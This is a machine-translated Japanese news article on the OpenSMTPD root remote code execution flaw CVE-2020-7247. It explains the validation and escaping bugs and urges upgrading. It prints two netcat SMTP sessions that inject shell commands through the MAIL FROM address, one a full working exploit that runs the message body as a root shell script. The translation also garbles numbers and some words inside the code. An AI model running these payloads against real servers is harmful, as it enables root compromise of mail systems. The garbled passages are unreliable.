OpenSMTPD に root 権限によるリモートコード実行を可能にする脆弱性

OpenBSDプロジェクトで開発されたメールサーバー内 OpenSMTPD 特定された 重大な脆弱性 (CVE-2020-7247) これにより、root ユーザー権限を使用してサーバー上でシェル コマンドをリモートで実行できるようになります。 この脆弱性は、Qualys Security によって実施された再監査中に特定されました (前回の OpenSMTPD 監査) 行われた 2015 年に新たな脆弱性が存在し、2018 年 XNUMX 月から存在しています。 問題 排除された OpenSMTPD 6.6.2 リリースでは。 すべてのユーザーは、直ちにアップデートをインストールすることをお勧めします (OpenBSD の場合、パッチは syspatch 経由でインストールできます)。

6.6 つの攻撃オプションが提案されています。 最初のオプションは、デフォルトの OpenSMTPD 構成 (ローカルホストからのリクエストのみを受け入れる) で機能し、攻撃者がサーバー (ホスティング システムなど) 上のローカル ネットワーク インターフェイス (ループバック) にアクセスできる場合に、問題をローカルで悪用できます。 。 XNUMX 番目のオプションは、OpenSMTPD が外部ネットワーク要求 (サードパーティのメールを受け入れるメール サーバー) を受信するように構成されている場合に発生します。 研究者らは、OpenBSD XNUMX に含まれる OpenSMTPD バージョンと、他のオペレーティング システム用のポータブル バージョン (Debian テストで実施) の両方で正常に動作するエクスプロイトのプロトタイプを準備しました。

この問題は、smtp_mailaddr() 関数のエラーが原因で発生します。この関数は、送信者/受信者を定義し、接続中に渡される「MAIL FROM」および「RCPT TO」フィールドの値の正確性をチェックするために呼び出されます。メールサーバーと一緒に。 電子メール アドレスの「@」記号より前の部分を確認するには、smtp_mailaddr() 関数が呼び出されます。
valid_localpart()。RFC 5322 の要求に従って、文字「!#$%&'*/?^`{|}~+-=_」を受け入れます (MAILADDR_ALLOWED)。

この場合、文字列の直接エスケープは mda_expand_token() 関数で実行され、文字「!#$%&'*?`{|}~」 (MAILADDR_ESCAPE) のみが置き換えられます。 以降、コマンド「execle("/bin/sh", "/bin/sh", "-c", mda_command,...」を使用して配信エージェント(MDA)を呼び出す際に、mda_expand_token()で用意した行が使用されます。 /bin/sh 経由で mbox に文字を配置する場合、「/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}」という行が開始され、値「%」が{mbox.from}」には、「MAIL FROM」パラメータからエスケープされたデータが含まれています。

この脆弱性の本質は、smtp_mailaddr() に論理エラーがあることです。このため、空のドメインが電子メールに送信されると、アドレスの「@」より前の部分に無効な文字が含まれている場合でも、関数は成功した検証コードを返します。 。 さらに、文字列を準備するときに、mda_expand_token() 関数は、考えられるすべてのシェル特殊文字をエスケープするのではなく、電子メール アドレスで許可される特殊文字のみをエスケープします。 したがって、コマンドを実行するには、電子メールのローカル部分で「;」記号を使用するだけで十分です。 およびスペース。これらは MAILADDR_ESCAPE セットに含まれず、エスケープされません。 例えば:

$nc 127.0.0.1 25

HELO教授ファルケン
メール送信者:<;sleep 66;>
RCPT 宛先:
DATA
.
QUITを

このセッションの後、OpenSMTPD が mbox に配信されると、シェルを通じてコマンドが起動されます。

/usr/libexec/mail.local -f ;スリープ 66; 根

同時に、アドレスのローカル部分が 64 文字を超えてはならず、特殊文字「$」と「|」が使用できないという事実により、攻撃の可能性は制限されます。 エスケープする場合は「:」に置き換えられます。 この制限を回避するには、レターの本文が /usr/libexec/mail.local の実行後に入力ストリームを通じて送信されるという事実を利用します。 アドレスを操作することによってできるのは、sh コマンド インタプリタを起動し、レターの本文を一連の命令として使用することだけです。 サービス SMTP ヘッダーはレターの先頭に示されているため、ループ内で read コマンドを使用してそれらをスキップすることをお勧めします。 機能するエクスプロイトは次のようになります。

$nc 192.168.56.143 25

HELO教授ファルケン
メール送信者:<;for i in 0 1 2 3 4 5 6 7 8 9 abcd;do read r;done;sh;exit 0;>
RCPT TO:[メール保護]>
DATA
#0
#1
...
#d
WOPR の i の場合。 する
echo -n "($i) " && id || 壊す
完了 > /root/x."`id -u`.""$$"
.
QUITを

出所: オープンネット.ru

コメントを追加します